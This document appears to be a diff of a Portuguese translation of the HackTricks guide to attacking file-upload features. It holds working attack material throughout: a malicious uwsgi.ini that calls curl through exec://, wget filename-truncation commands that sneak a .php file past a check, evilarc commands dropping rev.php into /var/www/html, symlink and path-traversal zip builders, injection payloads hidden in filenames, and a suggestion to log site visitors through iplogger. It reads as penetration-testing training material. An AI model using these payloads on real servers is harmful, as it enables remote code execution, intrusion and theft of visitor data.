**imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. Contudo, você pode usar o **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que vai **sobreviver à compressão**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Outra técnica para fazer um payload que **sobrevive a um redimensionamento da imagem**, usando a função PHP-GD `thumbnailImage`. Entretanto, você pode usar o chunk **tEXt** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviva à compressão**. +- Outra técnica para criar uma payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar o **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que vai **sobreviver à compressão**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### Outras técnicas para verificar +### Other Tricks to check -- Encontre uma vulnerabilidade para **renomear** o arquivo já enviado (para alterar a extensão). +- Encontre uma vulnerabilidade para **renomear** o arquivo já enviado (para mudar a extensão). - Encontre uma vulnerabilidade de **Local File Inclusion** para executar o backdoor. - **Possível divulgação de informação**: -1. Faça upload **várias vezes** (e ao **mesmo tempo**) do **mesmo arquivo** com o **mesmo nome** -2. Faça upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe** -3. Fazer upload de um arquivo com **".", "..", ou "..." como nome**. Por exemplo, no Apache no **Windows**, se a aplicação salva os arquivos enviados em "/www/uploads/", o arquivo com nome "." vai criar um arquivo chamado "uploads" em "/www/". -4. Fazer upload de um arquivo que possa não ser excluído facilmente como **"…:.jpg”** no **NTFS**. (Windows) -5. Fazer upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` em seu nome. (Windows) -6. Fazer upload de um arquivo no **Windows** usando nomes **reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, e COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9. -- Tente também **fazer upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando aberto acidentalmente pela vítima. +1. Envie **várias vezes** (e ao **mesmo tempo**) o **mesmo arquivo** com o **mesmo nome** +2. Envie um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe** +3. Enviar um arquivo com **".", ".." ou "…" como nome**. Por exemplo, no Apache em **Windows**, se a aplicação salva os arquivos enviados no diretório "/www/uploads/", o arquivo com nome "." criará um arquivo chamado "uploads" no diretório "/www/". +4. Envie um arquivo que possa não ser facilmente deletado, como **"…:.jpg"** em **NTFS**. (Windows) +5. Envie um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` no nome. (Windows) +6. Envie um arquivo no **Windows** usando nomes **reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. +- Tente também **fazer upload de um executável** (.exe) ou um **.html** (menos suspeito) que **execute código** quando aberto acidentalmente pela vítima. -### Truques com extensões especiais +### Special extension tricks -Se você está tentando enviar arquivos para um servidor **PHP**, [dê uma olhada no truque **.htaccess** para executar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -Se você está tentando enviar arquivos para um servidor **ASP**, [dê uma olhada no truque **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Se você estiver tentando enviar arquivos para um **servidor PHP**, [veja o truque **.htaccess** para executar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +Se você estiver tentando enviar arquivos para um **servidor ASP**, [veja o truque **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -Os arquivos `.phar` são como os `.jar` para java, mas para php, e podem ser **usados como um arquivo php** (executando-o com php, ou incluindo-o dentro de um script...) +Os arquivos `.phar` são como os `.jar` para Java, mas para PHP, e podem ser **usados como um arquivo php** (executando-os com php, ou incluindo-os dentro de um script...). -A extensão `.inc` às vezes é usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum ponto, alguém pode ter permitido **essa extensão ser executada**. +A extensão `.inc` às vezes é usada para arquivos php que são usados apenas para **importar arquivos**, então, em algum momento, alguém pode ter permitido **que esta extensão seja executada**. ## **Jetty RCE** -Se você consegue fazer upload de um arquivo XML em um servidor Jetty você pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Então, como mencionado na imagem a seguir, faça upload do arquivo XML para `$JETTY_BASE/webapps/` e espere pela shell! +Se você conseguir enviar um arquivo XML para um servidor Jetty você pode obter [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Assim, como mencionado na imagem a seguir, envie o arquivo XML para `$JETTY_BASE/webapps/` e espere o shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -Para uma exploração detalhada desta vulnerabilidade verifique a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +Para uma exploração detalhada desta vulnerabilidade, confira a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Vulnerabilidades de Remote Command Execution (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Arquivos de configuração uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", placeholders e operadores. Notavelmente, o operador '@', usado como `@(filename)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados a partir da saída padrão de um processo. Esse recurso pode ser manipulado para fins maliciosos, como Remote Command Execution ou Arbitrary File Write/Read quando um arquivo de configuração `.ini` é processado. +Vulnerabilidades de Remote Command Execution (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Arquivos de configuração uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", placeholders e operadores. Notavelmente, o operador '@', utilizado como `@(filename)`, destina-se a incluir o conteúdo de um arquivo. Entre os vários schemes suportados no uWSGI, o scheme "exec" é particularmente potente, permitindo a leitura de dados da saída padrão de um processo. Esse recurso pode ser manipulado para finalidades nefastas como Remote Command Execution ou Arbitrary File Write/Read quando um arquivo de configuração `.ini` é processado. -Considere o seguinte exemplo de um arquivo `uwsgi.ini` malicioso, demonstrando vários esquemas: +Considere o seguinte exemplo de um `uwsgi.ini` malicioso, mostrando vários schemes: ```ini [uwsgi] ; read from a symbol @@ -126,14 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -A execução do payload ocorre durante o parsing do arquivo de configuração. Para que a configuração seja ativada e analisada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a um ataque de Denial of Service) ou o arquivo deve ser configurado para auto-reload. O recurso auto-reload, se habilitado, recarrega o arquivo em intervalos especificados ao detectar mudanças. +A execução do payload ocorre durante o parsing do arquivo de configuração. Para que a configuração seja ativada e parseada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a um Denial of Service attack) ou o arquivo deve estar configurado para auto-reload. O recurso de auto-reload, se ativado, recarrega o arquivo em intervalos especificados ao detectar alterações. -É crucial entender a natureza permissiva do parsing do arquivo de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial. +É crucial entender a natureza permissiva do parsing dos arquivos de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial. -## **wget File Upload/SSRF Trick** +## **wget Envio de Arquivos/SSRF Truque** -Em algumas ocasiões você pode encontrar que um servidor está usando **`wget`** para **baixar arquivos** e você pode **indicar** a **URL**. Nesses casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma whitelist para assegurar que somente arquivos permitidos serão baixados. No entanto, **this check can be bypassed.**\ -A **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**. +Em algumas ocasiões você pode descobrir que um servidor está usando **`wget`** para **download de arquivos** e você pode **indicar** o **URL**. Nesses casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma whitelist para assegurar que apenas arquivos permitidos serão baixados. No entanto, **essa verificação pode ser contornada.**\ +O **comprimento máximo** de um **filename** em **linux** é **255**, no entanto, **wget** trunca os nomes de arquivo para **236** caracteres. Você pode **download a file called "A"\*232+".php"+".gif"**, esse nome de arquivo vai **bypassar** a **verificação** (como neste exemplo **".gif"** é uma extensão **válida**) mas `wget` irá **renomear** o arquivo para **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -156,35 +186,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Note que **outra opção** que você pode estar pensando para contornar essa verificação é fazer com que o **servidor HTTP redirecione para um arquivo diferente**, de modo que a URL inicial passe pela verificação e então wget baixe o arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** wget esteja sendo usado com o **parâmetro** `--trust-server-names` porque **wget vai baixar a página redirecionada com o nome do arquivo indicado na URL original**. +Observe que **outra opção** que você pode estar pensando para contornar essa verificação é fazer o **servidor HTTP redirecionar para um arquivo diferente**, então a URL inicial passará pela verificação, mas o wget irá baixar o arquivo redirecionado com o novo nome. Isso **não vai funcionar** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names` porque **o wget vai baixar a página redirecionada com o nome do arquivo indicado na URL original**. -## Tools +## Ferramentas -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) é uma ferramenta poderosa projetada para auxiliar Pentesters e Bug Hunters a testar mecanismos de upload de arquivos. Ela aproveita várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicações web. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) é uma ferramenta poderosa projetada para auxiliar Pentesters e Bug Hunters na testagem de mecanismos de upload de arquivos. Ela aproveita várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicações web. ### Corrupting upload indices with snprintf quirks (historical) -Alguns handlers de upload legados que usam `snprintf()` ou similar para construir arrays multi-file a partir de um upload single-file podem ser enganados a forjar a estrutura `_FILES`. Devido a inconsistências e truncamentos no comportamento de `snprintf()`, um upload cuidadosamente criado pode aparecer como múltiplos arquivos indexados no lado servidor, confundindo a lógica que assume uma forma estrita (por exemplo, tratando-o como um upload multi-file e tomando caminhos inseguros). Embora seja raro hoje em dia, esse padrão de “index corruption” ocasionalmente ressurge em CTFs e código legado. +Alguns handlers de upload legados que usam `snprintf()` ou similares para construir arrays multi-file a partir de um upload de arquivo único podem ser enganados a forjar a estrutura `_FILES`. Devido a inconsistências e truncamento no comportamento do `snprintf()`, um upload cuidadosamente construído pode aparecer como múltiplos arquivos indexados no lado do servidor, confundindo lógica que assume uma forma rígida (por exemplo, tratando-o como um upload multi-file e tomando ramos inseguros). Embora seja algo raro hoje em dia, esse padrão de “index corruption” ocasionalmente ressurge em CTFs e codebases mais antigas. ## From File upload to other vulnerabilities -- Defina **filename** como `../../../tmp/lol.png` e tente alcançar um **path traversal** -- Defina **filename** como `sleep(10)-- -.jpg` e você pode ser capaz de alcançar uma **SQL injection** -- Defina **filename** como `` para alcançar um **XSS** -- Defina **filename** como `; sleep 10;` para testar alguma command injection (mais [command injections tricks here](../command-injection.md)) +- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal** +- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection** +- Set **filename** to `` to achieve a XSS +- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md)) - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) -- Tente **diferentes payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -- [Famosa vulnerabilidade **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- Se você puder **indicar ao servidor web para capturar uma imagem a partir de uma URL** você pode tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/index.html). Se essa **imagem** for **salva** em algum site **público**, você também poderia indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informações de cada visitante**. +- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) +- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**. - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) -- PDFs especialmente criados para XSS: A [página a seguir apresenta como **injetar dados em PDF para obter execução de JS**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, pode preparar um PDF que execute JS arbitrário seguindo as indicações dadas. -- Faça upload do \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar se o servidor possui algum **antivírus** -- Verifique se existe algum **limite de tamanho** ao enviar arquivos +- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications. +- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus** +- Verifique se existe algum **limite de tamanho** ao fazer upload de arquivos -Aqui vai uma lista top 10 de coisas que você pode conseguir fazendo upload (de [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +Aqui está uma lista top 10 de coisas que você pode conseguir fazendo upload (a partir de [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE @@ -197,7 +227,7 @@ Aqui vai uma lista top 10 de coisas que você pode conseguir fazendo upload (de 9. **ZIP**: RCE via LFI / DoS 10. **PDF / PPTX**: SSRF / BLIND XXE -#### Burp Extension +#### Extensão do Burp {{#ref}} @@ -206,35 +236,35 @@ https://github.com/portswigger/upload-scanner ## Bytes Mágicos do Cabeçalho -- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` +- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["` - **JPG**: `"\xff\xd8\xff"` Consulte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para outros tipos de arquivo. -## Upload de Zip/Tar automaticamente descomprimido +## Zip/Tar File Automatically decompressed Upload Se você puder fazer upload de um ZIP que será descomprimido no servidor, você pode fazer 2 coisas: ### Symlink -Envie um arquivo contendo symlinks para outros arquivos; ao acessar os arquivos descomprimidos, você acessará os arquivos vinculados: +Faça upload de um arquivo contendo symlinks para outros arquivos; então, ao acessar os arquivos descomprimidos, você acessará os arquivos vinculados: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### Descompactar em pastas diferentes +### Descomprimir em pastas diferentes -A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar da suposição inicial de que essa configuração poderia impedir a execução de comandos a nível do sistema operacional via uploads de arquivos maliciosos, o suporte à compressão hierárquica e as capacidades de directory traversal do formato de arquivo ZIP podem ser explorados. Isso permite que atacantes contornem restrições e escapem dos diretórios de upload seguros manipulando a funcionalidade de descompressão da aplicação alvo. +A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar das suposições iniciais de que essa configuração poderia proteger contra OS-level command execution através de uploads de arquivos maliciosos, o suporte a compressão hierárquica e as capacidades de directory traversal do formato de arquivo ZIP podem ser exploradas. Isso permite que atacantes contornem restrições e escapem dos diretórios de upload seguros ao manipular a funcionalidade de descompressão da aplicação alvo. -Um exploit automatizado para criar esses arquivos está disponível em [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). O utilitário pode ser usado como mostrado: +Um exploit automatizado para criar tais arquivos está disponível em [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). A utilidade pode ser usada como mostrado: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Além disso, a **symlink trick with evilarc** é uma opção. Se o objetivo for direcionar um arquivo como `/flag.txt`, um symlink para esse arquivo deve ser criado no seu sistema. Isso garante que o evilarc não encontre erros durante sua operação. +Além disso, o **symlink trick with evilarc** é uma opção. Se o objetivo for atingir um arquivo como `/flag.txt`, um symlink para esse arquivo deve ser criado no seu sistema. Isso garante que evilarc não encontre erros durante sua operação. Abaixo está um exemplo de código Python usado para criar um arquivo zip malicioso: ```python @@ -254,11 +284,11 @@ zip.close() create_zip() ``` -**Abuso de compressão para file spraying** +**Abusando da compressão para file spraying** -Para mais detalhes **consulte o post original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +Para mais detalhes **veja a postagem original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Criando um PHP Shell**: Código PHP é escrito para executar comandos passados através da variável `$_REQUEST`. +1. **Creating a PHP Shell**: Código PHP é escrito para executar comandos passados pela variável `$_REQUEST`. ```php